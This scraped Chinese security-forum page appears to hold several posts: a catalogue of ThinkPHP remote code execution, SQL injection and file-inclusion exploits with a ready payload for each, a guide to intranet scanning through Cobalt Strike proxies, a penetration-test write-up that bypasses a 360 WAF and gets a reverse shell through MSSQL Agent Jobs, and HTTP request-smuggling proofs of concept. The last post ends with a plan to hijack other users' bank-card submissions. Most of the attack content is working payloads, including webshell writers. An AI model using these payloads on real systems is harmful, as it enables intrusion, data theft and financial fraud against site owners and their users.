六,ThinkPHP5 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP5全版本
 
漏洞分析参考:
https://www.freebuf.com/column/206387.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$name = request()->get('name');
$result = db('user')->where('name','exp',$name)->select();
return 'select success';
}
}
 Poc/exp:/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#



 
七,ThinkPHP5.0.10 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP 5.0.10
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$username = request()->get('name/a');
$result = db('user')->where(['name' => $name])->select();
var_dump($result);
}
}
Poc/exp:/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#



 
八,ThinkPHP Mysql 聚合函数相关方法注入
漏洞介绍
本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
 
影响版本 
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$options = request()->get('options');
$result = db('user')->max($options);
var_dump($result);
}
}
Poc/exp:
不同版本payload需稍作调整
5.0.0~5.0.21 、 5.1.3~5.1.10:/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%235.1.11~5.1.25:/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`



 
0x03ThinkPHP文件包含漏洞
 
一,ThinkPHP5文件包含漏洞
漏洞介绍
本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
 
影响版本 
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
 
漏洞分析参考:
https://www.freebuf.com/column/207878.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}创建application/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。
 
Poc/exp:/index.php/index/index/index?cacheFile=1.jpg



  查看全部
ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。
 
0x00前言
本篇文章将针对ThinkPHP的历史漏洞进行整理复现,今后爆出的ThinkPHP漏洞,也将进行补充更新。
 
0x01ThinkPHP远程命令执行/代码执行漏洞
 
一,ThinkPHP 5.0.23远程代码执行
漏洞介绍
2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。
Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
 
影响版本
THINKPHP 5.0.x-5.0.23
 
漏洞分析参考:
https://www.freebuf.com/vuls/194093.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
需要目标开启debug模式
 
Poc/exp:
设置url参数s=captcha,post数据
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

图片_23.png

 
二,ThinkPHP 5.0.22远程代码执行
漏洞介绍
2018年12月9日,ThinkPHP官方发布安全更新,修复一处由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,山石网科安服团队经过分析,把该漏洞危险级别定为严重。
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
 
影响版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
 
漏洞分析参考:
https://www.secpulse.com/archives/93903.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
命令执行payload:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami 
图片1.png

代码执行查看phpinfo
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1
图片2.png

写文件payload
?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>
图片3.png

 
三,​ThinkPHP 2.2任意代码执行
影响版本
THINKPHP 2.x-2.2

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
Poc/exp:
/module/action/param1/${phpinfo()}
/module/action/param1/${eval($_POST[1])}
?s=/abc/abc/abc/${THINK_VERSION}
图片4.png

 
getshell菜刀直接连接构造的连接
图片5.png

图片6.png

0x02ThinkPHP sql注入漏洞
 
一,ThinkPHP 3.2.3/5.1.22 order by注入
漏洞介绍:
该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。
 
影响版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
 
漏洞分析参考:
https://nosec.org/home/detail/1821.html
 
漏洞复现(内网环境)
在/application/index/controller/文件夹下建立Index.php文件,内容如下:
<?php
namespace app\index\controller;
class Index{
public function index() {
$data=array();
$data['username']=array('eq','admin');
$order=input('get.orderby/a');
$m=db('user')->where($data)->order($order)->find();
Sdump($m);
}
}
?>

访问192.168.10.53,选择对应版本
 
Poc/exp:
3.2.3
?order[updatexml(1,concat(0x3a,user()),1)]=1            

5.1.22 
?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
图片7.png


二,Thinkphp3.2.3 find/select/delete注入
影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.anquanke.com/post/id/157817
 
漏洞复现(内网环境)
在Application\Home\Controller\IndexController.class.php 添加以下代码:
<?php 
public function test()
{
$id = i('id');
$res = M('user')‐>find($id);
//find() //$res = M('user')‐>delete($id); //delete()
//$res = M('user')‐>select($id); //select()
}

Poc/exp:
针对select()find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
where: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐
alias: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐
table:
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
图片8.png


delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

where: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
alias: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐
table: 
http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1
图片9.png

 
三,ThinkPHP框架3.2.3 update注入漏洞
影响版本
Thinkphp<=3.2.3
 
漏洞分析参考:
https://www.seebug.org/vuldb/ssvid-97234
 
漏洞复现(内网环境)
在Application/Home/Controller/UserController.class.php添加以下代码:
<?php

namespace Home\Controller;
use Think\Controller;

class UserController extends Controller {

public function index(){

$User = M("user");
$user['id'] = I('id');
$data['name'] = I('name');
$data['pass'] = I('pass');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}




Poc/exp:
/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))
图片10.png

 
四,ThinkPHP 5.1.7 update注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
 
漏洞分析参考:
https://www.freebuf.com/column/206233.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class index
{
public function indx()
{
$password=input('get.pass/a');
db('user')->where(['id'=>1]->update(['pass'=>&password]));
}
}

Poc/exp:
/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1
图片11.png

 
五,ThinkPHP 5.0.15 insert注入
漏洞介绍
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
 
漏洞分析参考:
https://www.freebuf.com/column/205976.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$username = request()->get('name/a');
db('user')->insert(['name' => $name]);
return 'Update success';
}
}

 Poc/exp:
/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1
图片12.png

 
六,ThinkPHP5 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP5全版本
 
漏洞分析参考:
https://www.freebuf.com/column/206387.html
 
漏洞复现(内网环境
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$name = request()->get('name');
$result = db('user')->where('name','exp',$name)->select();
return 'select success';
}
}

 Poc/exp:
/index/index/index?name=) union select updatexml(1,concat(0x7,user(),0x7e),1)#
图片13.png

 
七,ThinkPHP5.0.10 select注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。再一个, Request 类的 filterValue 方法漏过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。
 
影响版本
ThinkPHP 5.0.10
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$username = request()->get('name/a');
$result = db('user')->where(['name' => $name])->select();
var_dump($result);
}
}

Poc/exp:
/index/index/index?name[0]=not like&name[1][0]=%%&name[1][1]=233&name[2]=) union select 1,user()#
图片14.png

 
八,ThinkPHP Mysql 聚合函数相关方法注入
漏洞介绍

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
 
影响版本 
5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
 
漏洞分析参考:
https://www.freebuf.com/column/206599.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$options = request()->get('options');
$result = db('user')->max($options);
var_dump($result);
}
}

Poc/exp:
不同版本payload需稍作调整
5.0.0~5.0.21 、 5.1.3~5.1.10:
/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from user%23
5.1.11~5.1.25:
/index/index/index?options=id)%2bupdatexml(1,concat(0×7,user(),0x7e),1) from user%23`
图片15.png

 
0x03ThinkPHP文件包含漏洞
 
一,ThinkPHP5文件包含漏洞
漏洞介绍
本次漏洞存在于ThinkPHP模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
 
影响版本 
5.0.0<=ThinkPHP5<=5.0.18、5.1.0<=ThinkPHP<=5.1.10
 
漏洞分析参考:
https://www.freebuf.com/column/207878.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:
class Index
{
public function index()
{
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
}
创建application/index/view/index/index.html文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马1.jpg放至public 目录下(模拟上传图片操作)。
 
Poc/exp:
/index.php/index/index/index?cacheFile=1.jpg
图片16.png

 

内网渗透之如何优雅地使用扫描器

wuyou 发表了文章 • 2 个评论 • 445 次浏览 • 2019-12-19 19:38 • 来自相关话题

在进行内网渗透时,我不喜欢上来直接进行扫描和爆破行为,如果在信息搜集(查看补丁情况,拖Desktop和Downlod下的文件,抓浏览器密码进邮件服务器和电子文件服务器等思路)无果的情况下,有时还是要不可避免的使用扫描器,但如何便捷的进行小流量扫描就是本文想探讨的主题
 
一、确定内网范围
如果目标内网是10.0.0.0的IP环境,如何快速定位到目标资产的IP的C段呢?这是我也不太清楚的问题,只是有些笨办法
1、查看远程桌面、浏览器等缓存信息




2、使用MSF的路由表探测(一般只是会探测到目标机所在的C段,但有时也会有奇效)meterpreter > run post/multi/manage/autoroute



3、域环境内可以使用一些工具




4、同理,还是进行信息搜集




但这些方法不够快捷高效,如果有什么好办法请告之
 
二、通过CS开启SOCKS服务
msf的socks我总觉得不够便捷,可能是被图形化界面的CS惯坏了吧
对目标机开启SOCKS服务




记下端口号




开启SocksCap64




配置代理,IP填你的CS服务端的IP,类型为Socks4




保存后退出,并测试通信




 
之后就可以把你想运行的程序拖入SocksCap中打开,从而走代理进行通信了
 
三、扫描工具
关于扫描工具,我推荐K8新出的Ladon,扫描快,流量小而且稳定
但是不推荐使用Ladon的CS插件版,用起来有各种问题.....




对于内网的扫描,CS只能扫开放端口,MSF使用繁琐,Nessus流量太大,而Ladon却完美解决了这些问题
在powershell下使用还会变色 : )




  查看全部
在进行内网渗透时,我不喜欢上来直接进行扫描和爆破行为,如果在信息搜集(查看补丁情况,拖Desktop和Downlod下的文件,抓浏览器密码进邮件服务器和电子文件服务器等思路)无果的情况下,有时还是要不可避免的使用扫描器,但如何便捷的进行小流量扫描就是本文想探讨的主题
 
一、确定内网范围
如果目标内网是10.0.0.0的IP环境,如何快速定位到目标资产的IP的C段呢?这是我也不太清楚的问题,只是有些笨办法
1、查看远程桌面、浏览器等缓存信息
133.jpg

2、使用MSF的路由表探测(一般只是会探测到目标机所在的C段,但有时也会有奇效)
meterpreter > run post/multi/manage/autoroute
122.png

3、域环境内可以使用一些工具
1555.jpg

4、同理,还是进行信息搜集
1666.jpg

但这些方法不够快捷高效,如果有什么好办法请告之
 
二、通过CS开启SOCKS服务
msf的socks我总觉得不够便捷,可能是被图形化界面的CS惯坏了吧
对目标机开启SOCKS服务
7.jpg

记下端口号
8.jpg

开启SocksCap64
9.jpg

配置代理,IP填你的CS服务端的IP,类型为Socks4

10.jpg

保存后退出,并测试通信
12.jpg

 
之后就可以把你想运行的程序拖入SocksCap中打开,从而走代理进行通信了
 
三、扫描工具
关于扫描工具,我推荐K8新出的Ladon,扫描快,流量小而且稳定
但是不推荐使用Ladon的CS插件版,用起来有各种问题.....
13.jpg

对于内网的扫描,CS只能扫开放端口,MSF使用繁琐,Nessus流量太大,而Ladon却完美解决了这些问题
在powershell下使用还会变色 : )
19.jpg

 

SQL注入之畸形协议绕过360防护到getshell

名字真的不好取什么时候是个头 发表了文章 • 1 个评论 • 792 次浏览 • 2019-12-19 15:31 • 来自相关话题

前言
公司的一个渗透测试项目,遇见了觉得这个姿势挺牛逼,就记下来……
登录框注入
账号admin'/123456发现sql报错信息,抓包:






试着进行拼接,admin'+and+@@version>1+and+'1'='1成功将其必合,查看其版本信息,数据库为mssql






使用select和convert但发现执行的时候会被360进行拦截,试了许多绕过姿势都没有办法绕过:






在网上又找了一会bypass姿势,最终发现了一个新的姿势,畸形协议&请求。
畸形协议&请求:
asp/asp.net: asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。此时360查杀的时候,只会对POST提交的参数进行限制,但未对URL后面的参数进行限制,成功绕过360。简单来说就是将GET请求换为POST请求。(URL如果有空格的话会提示错误,此时可以用加号或者编码进行绕过)




sqlmap跑post包
因为之前GET方法时用sqlmap跑了一下,发现存在WAF跑不出来,现在转化为POST方法提交参数时,绕过360限制,很轻易的便跑出来:




尝试一下--os-shell看能否执行命令,但发现没有输出




通过Agent Job执行命令
此时想要拿shell还要在回到我们的sql语句中去,因为xp_cmdshell方式在执行语句中无法打开,没办法正常执行命令,便想着通过Agent job执行命令:
此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。
查看当前数据库用户为sa,(权限足够)
利用代码如下:
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'执行系统命令', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
此时我们先执行一个ipconfig,从返回结果看我们提交的job1工作已经成功执行




反弹shell
使用powershell和mshta都会被杀,这里可以使用regsvr,带入自己koadic生成的regsvr,成功执行并反弹session:(使用koadic要用sta/js/regsvr模块)






虽然出现语法错误,但命令已经成功执行;

成功反弹shell





执行ipconfig






本次渗透不涉及内网方面,点到为止(然后偷偷拿下了域控)
总结

你们都是我大哥!!! 查看全部
前言
公司的一个渗透测试项目,遇见了觉得这个姿势挺牛逼,就记下来……
登录框注入
账号admin'/123456发现sql报错信息,抓包:

bbbbbbbbbb11111111111.png


试着进行拼接,admin'+and+@@version>1+and+'1'='1成功将其必合,查看其版本信息,数据库为mssql

bbbbbbbbbb2222222222.png


使用select和convert但发现执行的时候会被360进行拦截,试了许多绕过姿势都没有办法绕过:

bbbbbbbbbb3333333333.png


在网上又找了一会bypass姿势,最终发现了一个新的姿势,畸形协议&请求。
畸形协议&请求:
asp/asp.net: asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。此时360查杀的时候,只会对POST提交的参数进行限制,但未对URL后面的参数进行限制,成功绕过360。简单来说就是将GET请求换为POST请求。(URL如果有空格的话会提示错误,此时可以用加号或者编码进行绕过)
ccccccccccc3333333333.png

sqlmap跑post包
因为之前GET方法时用sqlmap跑了一下,发现存在WAF跑不出来,现在转化为POST方法提交参数时,绕过360限制,很轻易的便跑出来:
冲冲冲冲冲冲冲冲冲冲冲冲冲冲冲冲冲冲出44444444.png

尝试一下--os-shell看能否执行命令,但发现没有输出
ccccccccccccccc55555555555555555.png

通过Agent Job执行命令
此时想要拿shell还要在回到我们的sql语句中去,因为xp_cmdshell方式在执行语句中无法打开,没办法正常执行命令,便想着通过Agent job执行命令:
此种方式适用于服务器开启了MSSQL Agent Job服务,并且服务器中当前运行的用户账号拥有足够的权限去创建并执行代理作业的情况。
查看当前数据库用户为sa,(权限足够)
利用代码如下:
USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'执行系统命令', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
此时我们先执行一个ipconfig,从返回结果看我们提交的job1工作已经成功执行
ccccccccccccccc66666666.png

反弹shell
使用powershell和mshta都会被杀,这里可以使用regsvr,带入自己koadic生成的regsvr,成功执行并反弹session:(使用koadic要用sta/js/regsvr模块)

cccccccccccccc77777.png


虽然出现语法错误,但命令已经成功执行;

成功反弹shell
ccccccccccccccccccccc888888888.png


执行ipconfig

cccccccccccccc9999999999.png


本次渗透不涉及内网方面,点到为止(然后偷偷拿下了域控)
总结

你们都是我大哥!!!

HTTP走私利用

willeson 发表了文章 • 0 个评论 • 291 次浏览 • 2019-12-19 15:18 • 来自相关话题

如果不懂原理的话,建议跳转  http://zone.secevery.com/article/1111
 



1,这是正常的提交请求,返回状态码是302。





2,构造poc,目的是想去走私高权限用户去访问admin页面,但是提示主机错误。





3,成功访问到管理页面。





4,可以利用删除接口去删除用户,或者去添加用户。
 
5,下面是一个实例。
在一个网站的端点存在HTTP走私,并且直到正常用户访问 admin7 会放回一个302页面,用于验证。POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k
这个是poc,目的是迫使下一个用户去访问admin7页面。





 
我们把poc放在Intruder里面,设置多线程跑一下,因为这个网站的访问量很大,所以很难看到自己被攻击的页面,所以线程尽量调高一点,请求的数量尽量大一点。





 
可以看到第十二返回包返回了302状态码。
 
现在我们可以做很多事情,例如修改HOST让受害者重定向到其他地方,获取个人信息,修改密码,基本网站上有的功能端点你都能操控。还能和很多漏洞进行联动。最低的危害都是让所有用户都访问不了目标网站。
 
例如这个网站上有一个添加银行卡的功能。POST /addCard/675ygtyt675erp HTTP/1.1
Host: xx.com
Content-Type: application/json
Content-Length: 83

{"name": "Name","card": "12345", "exp": "00/00", "cvv": "000"}
 
这个请求没有用COOKIE,用的是一个不知道什么编码的唯一编号,应该是USERID一类的东西。
 
我们可以构造一个添加银行卡的请求包,把自己的银行卡添加到目标的账户,不过好像没啥用,不能让别人花自己的钱吧。
 
如果我们把别人的银行卡添加到自己的账户呢?
 POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 70
Foo: bar

0

POST /addCard/675ygtyt675erp HTTP/1.1
x-ff: kk
这样只要有想添加银行卡的请求,他的银行卡都会添加都自己的账户,你就可以随便花了。 查看全部
如果不懂原理的话,建议跳转  http://zone.secevery.com/article/1111
 
clipboard0.png
1,这是正常的提交请求,返回状态码是302。

clipboard1.png

2,构造poc,目的是想去走私高权限用户去访问admin页面,但是提示主机错误。

clipboard2.png

3,成功访问到管理页面。

clipboard3.png

4,可以利用删除接口去删除用户,或者去添加用户。
 
5,下面是一个实例。
在一个网站的端点存在HTTP走私,并且直到正常用户访问 admin7 会放回一个302页面,用于验证。
POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k

这个是poc,目的是迫使下一个用户去访问admin7页面。

clipboard4.png

 
我们把poc放在Intruder里面,设置多线程跑一下,因为这个网站的访问量很大,所以很难看到自己被攻击的页面,所以线程尽量调高一点,请求的数量尽量大一点。

clipboard5.png

 
可以看到第十二返回包返回了302状态码。
 
现在我们可以做很多事情,例如修改HOST让受害者重定向到其他地方,获取个人信息,修改密码,基本网站上有的功能端点你都能操控。还能和很多漏洞进行联动。最低的危害都是让所有用户都访问不了目标网站。
 
例如这个网站上有一个添加银行卡的功能。
POST /addCard/675ygtyt675erp HTTP/1.1
Host: xx.com
Content-Type: application/json
Content-Length: 83

{"name": "Name","card": "12345", "exp": "00/00", "cvv": "000"}

 
这个请求没有用COOKIE,用的是一个不知道什么编码的唯一编号,应该是USERID一类的东西。
 
我们可以构造一个添加银行卡的请求包,把自己的银行卡添加到目标的账户,不过好像没啥用,不能让别人花自己的钱吧。
 
如果我们把别人的银行卡添加到自己的账户呢?
 
POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 70
Foo: bar

0

POST /addCard/675ygtyt675erp HTTP/1.1
x-ff: kk

这样只要有想添加银行卡的请求,他的银行卡都会添加都自己的账户,你就可以随便花了。